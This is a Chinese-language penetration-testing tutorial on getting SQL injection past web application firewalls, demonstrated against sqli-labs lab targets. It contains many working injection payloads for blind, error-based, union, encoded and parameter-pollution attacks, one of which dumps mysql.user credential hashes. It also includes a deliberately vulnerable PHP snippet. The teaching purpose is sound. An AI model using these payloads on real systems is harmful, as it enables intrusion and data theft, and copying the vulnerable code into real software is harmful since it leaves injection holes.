# 02.SQL注入绕过
## 1. SQL 注入绕过
SQL 注入绕过技术已经是一个老生常谈的内容了,防注入可以使用某些云 waf加速乐等安全产品,这些产品会自带 waf 属性拦截和抵御 SQL 注入,也有一些产品会在服务器里安装软件,例如 iis 安全狗、d 盾、还有就是在程序里对输入参数进行过滤和拦截 例如 360webscan 脚本等只要参数传入的时候就会进行检测,检测到有危害语句就会拦截。SQL 注入绕过的技术也有许多。但是在日渐成熟的 waf 产品面前,因为 waf 产品的规则越来越完善,所以防御就会越来越高,安全系统也跟着提高,对渗透测试而言,测试的难度就越来越高了。接下来将会详细介绍针对 waf 的拦截注入的绕过方法。
## 2. or and xor not绕过★
目前主流的 waf 都会对 id=1 and 1=2、id=1 or 1=2、id=0 or 1=2 id=0 xor 1=1 limit 1 、id=1 xor 1=2
对这些常见的 SQL 注入检测语句进行拦截。像 and 这些还有字符代替字符如下
| 指令 | 字符 |
| ---- | ------------ |
| and | && |
| or | || |
| not | ! |
| xor | | |
需要注意并不是所有数据库的SQL语句都支持上述字符。
```sql
mysql> select * from users where id=1 and 1=1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> select * from users where id=1 && 1=1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> select * from users where id not in (2,3);
+------+----------------------+-----------+
| id | username | password |
+------+----------------------+-----------+
| 1 | Dumb | Dumb |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+------+----------------------+-----------+
11 rows in set (0.00 sec)
mysql> select * from users where id in (2,3);
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
+----+----------+------------+
2 rows in set (0.00 sec)
mysql> select * from users where id=1 && 2=1+1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
```
### 2.1 源码分析
下面的代码会将id中的or和and替换为空字符串

输入and、or都会被过滤报错

使用||符号就可以绕过

## 3. 空格字符绕过
如果出现空格被拦截的情况,就需要使用空格字符绕过。常见做法是尝试使用URL编码,但是要注意,在php中这类url编码在程序中仍然可能会被过滤掉。
| 编码 | 空格字符 |
| ---- | ----------------- |
| %09 | TAB键(水平制表符) |
| %0a | 新的一行 |
| %0c | 新的一页 |
| %0d | return功能 |
| %0b | TAB键(垂直制表符) |
| %a0 | 空格 |
另外SQL语句也支持注释来充当空格,注释的格式为 `/*注释内容*/`

另外mysql也支持将某些命令根据版本兼容性来进行注释,比如`/*!50000select*/`表示5.00.00版本以上的mysql才会执行这个代码

### 3.1 源码分析

尝试使用注入语句,发现空格和--被过滤,使用普通的方式已经无法对代码形成闭合状态
使用如下闭合语句

使用报错注入

查找表名的时候发现空格被过滤

使用括号绕过空格限制,此处使用URL编码并不能绕过PHP的过滤策略
```
?id=1'||updatexml(1,concat(0x7e,(
select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')
)),1)||'1
```

空格字符编码绕过示例

## 4. 大小写绕过
注意下面的过滤代码正则匹配模式并未忽略大小写

使用盲注
```sql
http://d16.s.iproute.cn/Less-27/?id=0'||substr((sElect(group_concat(username))from(users)),1,1)='D'||'0
```

使用报错
```
http://d16.s.iproute.cn/Less-27/?id=1'||substr((updatexml(1,concat(0x7e,(SelEct(group_concat(table_name))from(information_schema.tables)where(table_schema='security')),0x7e),1)),1,1)='D'||'1
```

## 5. 浮点数绕过
sql 语句的一个特性,在浮点数后面跟着 union 可以不加空格,并且1.0=1




为了闭合后面的引号,可以使用如下语句

浮点数绕过实战
```sql
http://d16.s.iproute.cn/Less-27/?id=999.0'and(updatexml(1,concat(0x7e,database(),0x7e),1))||'1
```

上面这个案例看起来有浮点数,其实和浮点数没关系,改成任何字符串都没问题,因为在源码中这个id是拼接为字符串的

```
http://d16.s.iproute.cn/Less-27/?id=a'and(updatexml(1,concat(0x7e,database(),0x7e),1))||'1
```

浮点数绕过主要需要与union配合使用,在过滤空格的场景中可以让union前面的空格省略
```sql
http://d16.s.iproute.cn/Less-27/?id=99.0'unIOn%0dseLEct(1),(database()),(3)%0d||'1
```

Null也可以作为union前面空格的省略工具
```sql
http://d16.s.iproute.cn/Less-27/?id=Null'unIOn%0dseLEct(1),(database()),(3)%0d||'1
```

任意一个字符串,包括数字字符串都可以作为union前面的省略工具


在这个案例中并没有用到整数型后面直接跟着union的特性,但是这个知识点需要记住
## 6. 引号绕过
引号主要使用的是字符串,可以将字符串转换为16进制,就可以避免使用引号了
```sql
http://d14.s.iproute.cn/vulnerabilities/sqli/?id=1'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x6431345f735f6970726f7574655f636e)--+&Submit=Submit#
```

## 7. 添加库名绕过
有些waf的拦截规则并不会拦截带上库名的表查询,在遇到waf的时候可以做一下尝试
```sql
select user,host from mysql.user;
select * from users where id=-1 union select 1,2,3,concat(user,authentication_string) from mysql.user;
```
## 8. 去重绕过★
在 mysql 查询可以使用 distinct 去除查询的重复值。可以利用这点突破 waf 拦截
```sql
select * from users where id=-1 union distinct select 1,2,3,version() from users;
```
实战效果
```sql
?id=-1' union distinct select 1,2,version() from users--+
```

匹配规则分析

如果规则是这样的,就无效

# 反引号绕过
MySQL中的反引号(`)是为了区分MySQL的保留字与普通字符而引人的符号,反引号可以代替空格,绕过空格过滤。
```sql
select`username`from`users`;
```
## 9. 脚本语言特性绕过
在php语言中id=1&id=2后面的值会自动覆盖前面的值,不同的语言有不同的特性。可以利用这点绕过一些waf的拦截。
```sql
id=1%00&id=2 union select 1,2,3
```
有些 waf 回去匹配第一个 id 参数 1%00 %00 是截断字符,waf 会自动截断 从而不会检测后面的内容。到了程序中 id 就是等于 id=2 union select 1,2,3 从绕过注入拦截。
其他语言特性
| 服务器中间件 | 解析结果 | 举例说明 |
| -------------------------------- | -------------------------- | -------------------- |
| ASP.NET/IIS | 所有出现的参数值用逗号连接 | color=red,blue |
| ASP/IIS | 所有出现的参数值用逗号连接 | color=red,blue |
| PHP/Apache | 仅最后一次出现参数值 | color=blue |
| PHP/Zeus | 仅最后一次出现参数值 | color=blue |
| JSP,Servlet/Tomcat | 仅第一次出现参数值 | color=red |
| JSP,Servlet/Oracle App Server10g | 仅第一次出现参数值 | color=red |
| JSP,servlet/Jetty | 仅第一次出现参数值 | color=red |
| IBM Lotus Domino | 仅最后一次出现参数值 | color=blue |
| IBM HTTP Server | 仅第一次出现参数值 | color=red |
| mod_perl, libapreq2/Apache | 仅第一次出现参数值 | color=red |
| Perl CGI /Apache | 仅第一次出现参数值 | color=red |
| mod_wsgi(Python) /Apache | 仅第一次出现参数值 | color=red |
| Python/Zope | 转化为List | color=['red','blue'] |
实战效果
```
?id=1%00&id=-1' union select 1,2,version() from users --+
```

## 10. substr字符串截取★
原理如下,通过截取字符串来进行sql注入,甚至可以通过转成16进制避免出现单引号。
```sql
mysql> select (substr(database() from 1 for 1));
+-----------------------------------+
| (substr(database() from 1 for 1)) |
+-----------------------------------+
| s |
+-----------------------------------+
1 row in set (0.00 sec)
mysql> select * from users where id=1 and 's'=(select(substr(database()from 1 for 1)));
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> select * from users where id=1 and 0x73=(select(substr(database()from 1 for 1)));
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
```
实战效果,使用命令
```sql
?id=1' and (select(substr(database() from 1 for 1)))=0x73--+
```

如果猜测不对,就会出现下面的界面

## 11. mid字符串截取★
这个 mid函数跟 substr 函数功能相同,如果 substr 函数被拦截或者过滤,可以使用这个函数代替
```
?id=1' and (select(mid(database() from 1 for 1)))=0x73--+
```

## 12. 使用join绕过
使用 join 连接两个表
```
union select 1,2
等价于
union select * from (select 1)a join (select 2)b
```
```sql
mysql> select * from users where id=-1 union select * from (select 1)a join (select 2)b join (select 3)c;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 2 | 3 |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> select * from users where id=-1 union select * from (select 1)a join (select user())b join (select 3)c;
+----+----------------+----------+
| id | username | password |
+----+----------------+----------+
| 1 | root@localhost | 3 |
+----+----------------+----------+
1 row in set (0.00 sec)
```
实战效果,使用命令
```sql
?id=-1' union select * from (select 1)a join (select user())b join(select 3)c--+
```

## 13. like绕过★
有时候不给使用=
使用 like 模糊查询 select user() like '%r%'; 模糊查询成功返回 1, 否则返回 0
```sql
mysql> select user() like '%root%';
+----------------------+
| user() like '%root%' |
+----------------------+
| 1 |
+----------------------+
1 row in set (0.00 sec)
mysql> select * from users where id=1 and (select user() like '%root%');
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
```
找到第一个字符后继续进行下一个字符匹配。从而找到所有的字符串 最后就是要查询的内容,这种 SQL 注入语句也不会存在逗号。从而绕过 waf 拦截。
实战效果
```
?id=1' and (select user() like '%root%')--+
```

## 14. limit offset 绕过
SQL 注入时,如果需要限定条目可以使用 limit 0,1 限定返回条目的数目是一条,如果对逗号进行拦截时,可以使用 limit 1 默认返回第一条数据。也可以使用 limit 1 offset 0 从零开始返回第一条记录,这样就绕过 waf 拦截了。
```sql
mysql> select * from users where id=-1 union select 1,2,user() limit 1 offset 0;
+----+----------+----------------+
| id | username | password |
+----+----------+----------------+
| 1 | 2 | root@localhost |
+----+----------+----------------+
1 row in set (0.00 sec)
```
实际效果
```sql
?id=-1'union select 1,2,version() limit 1 offset 0--+
```

## 15. ascii 字符绕过
截取出来的字符转为ascii码,来避开联合查询注入
```sql
mysql> select substring(user(),1,1);
+-----------------------+
| substring(user(),1,1) |
+-----------------------+
| r |
+-----------------------+
1 row in set (0.00 sec)
mysql> select * from users where id=1 and substring(user(),1,1)='r';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> select * from users where id=1 and ascii(substring(user(),1,1))=114;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
```
实战效果
```
?id=1' and ascii(substring(user(),1,1))=114--+
```

## 16. 等号绕过★
如果程序会对=进行拦截 可以使用 like、rlike、regex或者使用< 、>
### 16.1 < 、>绕过
```sql
mysql> select * from users where id=1 and ascii(substring(user(),1,1))<115;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> select * from users where id=1 and ascii(substring(user(),1,1))>115;
Empty set (0.00 sec)
```
绕过测试
```sql
?id=1' and ascii(substring(user(),1,1))<115--+
```

### 16.2 like、rlike绕过
```sql
mysql> select * from users where id=1 and (select substring(user(),1,1)like 'r%');
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> select * from users where id=1 and (select substring(user(),1,1)rlike 'r');
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
```
### 16.3 regex绕过
```sql
mysql> select * from users where id=1 and 1=(select user() regexp '^r');
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> select * from users where id=1 and 1=(select user() regexp '^a');
Empty set (0.00 sec)
```
## 17. 双关键词绕过
有些程序会对单词 union、 select 进行转空,但是只会转一次这样会留下安全隐患。双关键字绕过(若删除掉第一个匹配的 union 就能绕过)如:
`id=-1'UNIunionONSeLselectECT1,2,3--+` 到数据库里执行会变成 `id=-1'UNION SeLECT1,2,3--+` ,从而绕过拦截。
## 18. 二次编码绕过
有些程序会解析二次编码,造成 SQL 注入,因为 url 两次编码过后,有些 waf 是不会拦截的。
php代码用了urldecode()等编码函数,与php自身编码配合失误。
由于sqli-labs没有二次编码注入的环境,所以我们在less1中加入一些代码
```php
// 转义字符串中的特殊字符
$id = mysql_real_escape_string($_GET[id]);
echo "mysql_real_escape_string: $id
";
$id = urldecode($id);
echo "urlencode: $id
";
```

判断是否存在二次编码注入
```
doublecode.php?id=1'
```

可以看到单引号被转义了,使用编码
以上图片体现二次编码 ,%25由于编码作用被转义为%,而接下来的%27二次编码被转义为'

下面即可正常进行SQL注入
```sql
http://d16.s.iproute.cn/Less-1/doublecode.php?id=-1%2527 union select 1,2,(select schema_name from information_schema.schemata limit 0,1)--+
```

## 19. 多参数拆分绕过
将多个参数拼接到同一条SQL语句中,可以将注入语句分割插入,主要用于union select一起使用被拦截的绕过
例如
`a=[input1]&b=[input2]`可以将参数a和b拼接在SQL语句中
例如如下代码
```sql
多参数拆分注入";
header("Content-Type:text/html;charset=utf8");
$con = mysqli_connect("localhost", "root", "usbw", "test");
mysqli_set_charset($con, 'utf8');
if(!$con){
echo "Connect failed:" . mysqli_connect_error();
}
function filterstr($key){
if(!get_magic_quotes_gpc()){
$key = addcslashes($key);
}
return $key;
}
$id = isset($_GET['id']) ? $_GET['id'] : 1;
$username = isset($_GET['username']) ? $_GET['username'] : 'admin';
$sql = "select * from users where id='$id' and username='$username'";
$result = mysqli_query($con, $sql);
$row = mysqli_fetch_array($result);
if($row){
echo "id:" . $row['id'] . "
";
echo "用户名:" . $row['username'] . "
";
echo "密码:" . $row['password'] . "
";
echo "密码:" . $row['email'] . "
";
}
echo '